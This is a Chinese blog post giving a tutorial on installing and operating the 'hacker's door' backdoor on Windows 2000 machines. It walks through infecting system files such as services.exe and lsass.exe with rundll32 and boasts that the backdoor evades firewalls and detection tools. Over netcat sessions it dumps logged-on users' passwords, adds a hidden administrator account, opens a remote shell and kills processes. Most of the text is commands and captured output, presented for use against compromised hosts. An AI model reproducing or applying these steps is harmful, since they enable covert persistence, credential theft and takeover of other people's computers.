2017年5月22日星期一

教你学用黑客之门(hacker's door) 1.0 版

教你学用黑客之门(hacker's door) 1.0 版

黑客之门使用目前先进的后门技术编写,只有一个DLL文件,通过感染系统文件启动自身,被感染的系统文件大小和日期都不会改变;同时采用线程插入技术,本身没有进程;它本身不开端口,而是重用系统进程开的任意一个端口,如80、135、139、445等,因此它的隐藏性是非常好的,而且穿透防火墙也是很容易的事情。这个版本文件不大,只提供一些很有用的命令,目前还没有发现什么工具能查到这个后门,像fport和klist等都不可以。

配置
  运行HDConfig.exe,择要进行配置的黑客之门服务器端,默认是hkdoordll.dll,加载的时候会提示你输入密码,如果以前没有配置过,那就是初始密码yyt_hac,则就是你自己配置的密码,然后你就可以修改密码了。这个密码用于连接和卸载后门,我已将密码改为abcdefg了。

安装
  将木马DLL文件传到肉机。

C:\>rundll32 hkdoordll,DllRegisterServer conime.exe 1

  上面的方式只感染进程,而不感染系统文件,机器重启或进程退出后门也就退出了,适用于在自己的机器上做测试,如果你不是做测试,就用下面的安装方式。
  其中 hkdoordll是黑客之门服务器端,必须放在system32目录下,可以改名,conime.exe是你要感染的进程,默认是services.exe,如果要感染系统文件,在system32目录下的不用带路径,其它的就要带路径,第一个1是安装方式,0表示只感染系统文件,1表示只感染进程,2表示感染系统文件,同时感染进程,默认是2。

C:\>rundll32 hkdoordll,DllRegisterServer

  上面是默认安装方式,它会感染services.exe文件,以便在系统重启时启动后门,同时把自己加载到services.exe进程中。我们只是作动画教学,所以使用第一种。
  注意,除了csrss.exe、smss.exe外,其它的系统文件都可以感染。要判断有没有安装成功,就要看system.log里的信息,方法如下:

  C:\WINNT\system32>type system.log  //这个文件的生成会有延时,多Type几次。
系统找不到指定的文件。
9/29/2004 18:26:32 l=0
UnloadDriver successfully!

9/29/2004 18:26:32 l=0

Begin to start hacker's door....

9/29/2004 18:26:34 l=0

Start hacker's door successfully!


C:\WINNT\system32>type system.log
9/2/2004 10:36:45 l=0
Modth.Flag=2,Modth.ModifyModth=1,Modth.StartModth=1,            Param[0]=C:\WINN
T\system32\services.exe,Param[1]=kernel.dll,Param[2]=DllRegisterServer
9/2/2004 10:36:45 l=0
Freeing "kernel.dll":
9/2/2004 10:36:45 l=0
Couldn't free

9/2/2004 10:36:45 l=0
Entering DLL_PROCESS_ATTACH,Process:SERVICES.EXE
9/2/2004 10:36:45 l=0
Begin to start hacker's door....
9/2/2004 10:36:45 l=0
Loading "kernel.dll":
9/2/2004 10:36:45 l=0
Loaded (0x10000000)

9/2/2004 10:36:45 l=0
The backdoor is installed successfully!

9/2/2004 10:36:45 l=0
UnloadDriver successfully!
9/2/2004 10:36:45 l=0
Begin to start hacker's door....
9/2/2004 10:36:47 l=0
Start hacker's door successfully!

C:\WINNT\system32>

  看到“Start hacker's door successfully!”就说明安装成功了,否则就是没有成功,你可以试试感染别的系统文件。

C:\>rundll32 hkdoordll,DllRegisterServer lsass.exe

  上面是感染lsass.exe文件,同时把自己加载到lsass.exe进程中

C:\>rundll32 hkdoordll,DllRegisterServer c:\winnt\explorer.exe

     上面是感染explorer.exe文件,同时把自己加载到explorer.exe进程中。

  在终端服务器中,直接安装出现如下错误:

C:\WINNT\system32>rundll32 kernel,DllRegisterServer

C:\WINNT\system32>type system.log
9/2/2004 10:46:28 l=0
Modth.Flag=2,Modth.ModifyModth=1,Modth.StartModth=1,            Param[0]=C:\WINN
T\system32\services.exe,Param[1]=kernel.dll,Param[2]=DllRegisterServer
9/2/2004 10:46:28 l=0
InjectThread:Error CreateRemoteThread,error code:8
9/2/2004 10:46:28 l=0
InjectThread failed!

C:\WINNT\system32>


因为在MSDN里有一段解释:Terminal Services isolates each terminal session by design. Therefore,CreateRemoteThread fails if the target process is in a different session than the calling process.

C:\WINNT\system32>psexec \\218.19.130.210 -u chrf cmd.exe

PsExec v1.31 - execute processes remotely
Copyright (C) 2001-2002 Mark Russinovich
www.sysinternals.com

Password:

Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>rundll32 kernel,DllRegisterServer
C:\WINNT\system32>type system.log  //这个文件的生成会有延时,多Type几次。
系统找不到指定的文件。

C:\WINNT\system32>type system.log
9/2/2004 10:36:45 l=0
Modth.Flag=2,Modth.ModifyModth=1,Modth.StartModth=1,            Param[0]=C:\WINN
T\system32\services.exe,Param[1]=kernel.dll,Param[2]=DllRegisterServer
9/2/2004 10:36:45 l=0
Freeing "kernel.dll":
9/2/2004 10:36:45 l=0
Couldn't free

9/2/2004 10:36:45 l=0
Entering DLL_PROCESS_ATTACH,Process:SERVICES.EXE
9/2/2004 10:36:45 l=0
Begin to start hacker's door....
9/2/2004 10:36:45 l=0
Loading "kernel.dll":
9/2/2004 10:36:45 l=0
Loaded (0x10000000)

9/2/2004 10:36:45 l=0
The backdoor is installed successfully!

9/2/2004 10:36:45 l=0
UnloadDriver successfully!
9/2/2004 10:36:45 l=0
Begin to start hacker's door....
9/2/2004 10:36:47 l=0
Start hacker's door successfully!

C:\WINNT\system32>

卸载
C:\>rundll32 hkdoordll,DllUnRegisterServer yyt_hac conime.exe 1
  这里yyt_hac是连接密码,必须正确,否则不能卸载。其它的参数同安装意义差不多,它根据安装的方法来卸载后门,上面一行的意思就是把后门从conime.exe卸掉。

C:\>rundll32 hkdoordll,DllUnRegisterServer yyt_hac
  上面就是把后门从services.exe进程中卸掉,同时修复被感染的services.exe文件。

C:\>rundll32 hkdoordll,DllUnRegisterServer yyt_hac  lsass.exe
  上面是把后门从lsass.exe进程中卸掉,同时修复被感染的lsass.exe文件。

C:\>rundll32 hkdoordll,DllUnRegisterServer yyt_hac  c:\winnt\explorer.exe
  上面是把后门从explorer.exe进程中卸掉,同时修复被感染的explorer.exe文件。
卸载成功或失败信息在system32\system.log里有记录,大家可以自己查看。


使用
用NC连接被安装后门机器的任意一个开放的端口,这个端口必须能连接上,下面用139端口做例子,然后输入“NCLOGIN 连接密码”,连接密码默认是yyt_hac,你可以在自己机器上试验,只要一台机器就可以了,不需要在一台机器上安装,用另一台机器连接。它支持多个连接,目前最多3个。
  先用xport扫描目标机器开的端口:

C:\>xport 192.8.8.1 1-300 -m tcp :O
  如果没有这个软件,我们用FPORT之类的也可以,用X-SCAN也可以。试一下139,看来还真的得扫一下端口。用X-SCAN扫描的结果:只3389开放,看来除非自己上去开放其它端口,要不就用不了。因为操作比较简单,下面就不再做动画教大家如何使用了,请看下面的演示。


X-Port v1.3 - command line port scanner
Code by glacier <glacier@xfocus.org>
http://www.xfocus.org

Scanning 192.8.8.1 1-300 ...

Remote host:   192.8.8.1 (192.8.8.1)
Local address: 192.8.8.1
Scan mode:     TCP connect
Port count:    300
Thread count:  50

Port 135 is opened: [Unknown service]
Port 139 is opened: [Unknown service]

Port scan complete, total 300 port, 2 port is opened, use 8012 ms.

Match operate system failed.
Try to check operate system by netbios ... succeed!
Remote operate system: Windows NT 5.0

  上面的结果说明135和139端口都可以连接。

C:\>nc 192.8.8.1 135
  用nc连接后门,先连接135端口试试。在这里,用NC连接我们的IP ,指定端口为开放端口,但未被占用的,比如3389就不行。
NCLOGIN 123456
        This is the server of hacker's door made by yyt_hac,
Welcome to http://www.yythac.com,use '?' to get command list
HKDOOR>? //得到命令列表
?-------------------[command],Get command list and the descript of the command
hdver-------------------Get the version of hacker's door installed
findpass-------------------Get all logon user's username and password
open3389-------------------[port] [/r],with 'port' to special termserver 's port
,with '/r' to reboot system
opentelnet-------------------[port],open telnet server with [port],default port
is 23
pslist-------------------Get process list from remote machine
pskill-------------------pID,Kill the process of remote machine
getsysinfo-------------------Get the system info from remote machine
shutdown-------------------[/r],With '/r' to reboot system,else power off system

exitshell-------------------Exit the shell of hacker's door
winexec-------------------command,execute command using winexec function
openshell-------------------[cmdfile],use cmdfile to create a process to execute
 command
HKDOOR>findpass //查找当前登录用户的密码
The session:0 login information is:
Domain:YYT_HAC,User:Administrator,Password:123456
HKDOOR>hdver
The version of hacker's door server is 1.0
Welcome to http://www.yythac.com
HKDOOR>getsysinfo //得到目标机器的基本信息
Number of CPU:1
Type of CPU:Intel  Pentium III or high
System Version:Windows nt 5.0 build:2195
Service Pack:4.0
Product type:Windows 2000 Server
Computer Name:YYT_HAC
System Dir:C:\WINNT\system32
HKDOOR>winexec "net user test /add" //不开命令行窗口执行命令,加一个test的用户
The command execute sucessfully!
HKDOOR>winexec "net localgroup administrators test /add"  //把test用户加入管理员组
The command execute sucessfully!
HKDOOR>openshell //开命令行窗口
Command shell is opened successfully!
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>
C:\WINNT\system32>cd \
cd \

C:\>net user //查看用户,发现test用户加进来了
net user

\\ 的用户帐户

-------------------------------------------------------------------------------
__vmware_user__          Administrator            ASPNET
Guest                    IUSR_YYT                 IWAM_YYT
TsInternetUser           VUSR_YYT                 VUSR_YYT_HAC
test
命令运行完毕,但发生一个或多个错误。


C:\>dir
dir
 驱动器 C 中的卷是 windows
 卷的序列号是 3C85-544F

 C:\ 的目录

2004-03-24  12:12       <DIR>          DELL
2004-08-08  10:04       <DIR>          Documents and Settings
2004-09-02  22:20       <DIR>          Downloads
2004-03-22  09:28       <DIR>          DRIVERS
2004-05-30  21:21       <DIR>          drvrtmp
2004-09-02  22:44       <DIR>          hkdoor
2003-08-18  03:02       <DIR>          Inetpub
2004-04-28  16:20       <DIR>          log
2004-05-30  00:02       <DIR>          My Music
2004-09-02  18:17       <DIR>          Program Files
2003-08-16  16:03       <DIR>          WINDOWS
2004-09-02  22:20       <DIR>          WINNT
               0 个文件              0 字节
              12 个目录    324,079,616 可用字节

C:\>set
set
ALLUSERSPROFILE=C:\Documents and Settings\All Users.WINNT
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=YYT_HAC
ComSpec=C:\WINNT\system32\cmd.exe
DRIVERNETWORKS=C:\PROGRA~1\COMPUW~1\DRIVER~1\DRIVER~2
DRIVERWORKS=C:\PROGRA~1\COMPUW~1\DRIVER~1\DRIVER~3
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:\WINNT\system32\os2\dll;
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 9 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0905
ProgramFiles=C:\Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:\WINNT
TEMP=C:\WINNT\TEMP
TMP=C:\WINNT\TEMP
USERPROFILE=C:\Documents and Settings\Default User.WINNT
windir=C:\WINNT

C:\>ver
ver

Microsoft Windows 2000 [Version 5.00.2195]

C:\>d:
d:
设备未就绪。

C:\>f:
f:

F:\>dir
dir
 驱动器 F 中的卷是 vc
 卷的序列号是 EED5-F051

 F:\ 的目录

2004-08-10  14:29       <DIR>          Documents and Settings
2004-03-08  18:07       <DIR>          fore
2004-03-22  20:01       <DIR>          i386
2003-09-07  05:37       <DIR>          My Music
2004-03-22  16:24       <DIR>          NTDDK
2004-06-17  18:15       <DIR>          ON2000
2004-08-19  16:26       <DIR>          ON2000_new
2004-03-26  13:59       <DIR>          Perl
2004-07-28  12:46       <DIR>          Program Files
2004-03-25  09:19       <DIR>          sourcecode
2004-07-28  12:44       <DIR>          WINNT
2004-09-02  22:43       <DIR>          WUTemp
               0 个文件              0 字节
              12 个目录    921,036,288 可用字节

F:\>pslist //查看目标机器上的进程
ProcessID         ProcessName
0                   [System Process]
8                   System
184                 SMSS.EXE
208                 CSRSS.EXE
228                 WINLOGON.EXE
256                 services.exe
268                 LSASS.EXE
476                 svchost.exe
504                 spoolsv.exe
544                 msdtc.exe
652                 svchost.exe
680                 mdm.exe
736                 alertsvc.exe
804                 navapsvc.exe
884                 npssvc.exe
1204                regsvc.exe
1216                mstask.exe
1252                termsrv.exe
1284                vmware-authd.ex
1296                WinMgmt.exe
1324                dfssvc.exe
1336                svchost.exe
1476                explorer.exe
1636                pctspk.exe
1684                hkcmd.exe
1704                Apoint.exe
1648                PFW.exe
1708                prpcui.exe
1732                realsched.exe
1740                ApntEx.exe
1748                internat.exe
1768                conime.exe
1804                navapw32.exe
640                 inetinfo.exe
1516                svchost.exe
1856                FlashBack Recor
1816                DG-506C.exe
1580                TASKMGR.EXE
1588                notepad.exe
388                 notepad.exe
2024                CMD.EXE
2036                NC.EXE
2004                CMD.EXE

F:\>pskill 1684 //杀掉进程id为1684的进程
The process has been killed!

F:\>exit //退出命令行窗口

HKDOOR>? //得到命令列表
?-------------------[command],Get command list and the descript of the command
hdver-------------------Get the version of hacker's door installed
findpass-------------------Get all logon user's username and password
open3389-------------------[port] [/r],with 'port' to special termserver 's port
,with '/r' to reboot system
opentelnet-------------------[port],open telnet server with [port],default port
is 23
pslist-------------------Get process list from remote machine
pskill-------------------pID,Kill the process of remote machine
getsysinfo-------------------Get the system info from remote machine
shutdown-------------------[/r],With '/r' to reboot system,else power off system

exitshell-------------------Exit the shell of hacker's door
winexec-------------------command,execute command using winexec function
openshell-------------------[cmdfile],use cmdfile to create a process to execute
 command
HKDOOR>exitshell //退出后门
Exit Successfully

C:\>nc 192.8.8.1 139 //通过139端口连接后门
NCLOGIN 123456
        This is the server of hacker's door made by yyt_hac,
Welcome to http://www.yythac.com,use '?' to get command list
HKDOOR>openshell
Command shell is opened successfully!
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>
C:\WINNT\system32>rundll32 kernel,DllUnRegisterServer 123456  //卸载后门
The command is too long to recv completely!

C:\WINNT\system32>exit

HKDOOR>exitshell
Exit Successfully

C:\>

  从上面我们可以看出,它实际上集成了很多小软件的功能,可惜与另一个小软件ZXSHELL相比没有开放3389。事实上这些小软件都是相似的,使用起来很有异曲同工的感觉。

  注:动画教程中的“0CLOGI0”应该为“NCLOGIN”,不知道这个录像软件有什么问题,把N录成0了,大家在观看的时候要注意一下。

没有评论:

发表评论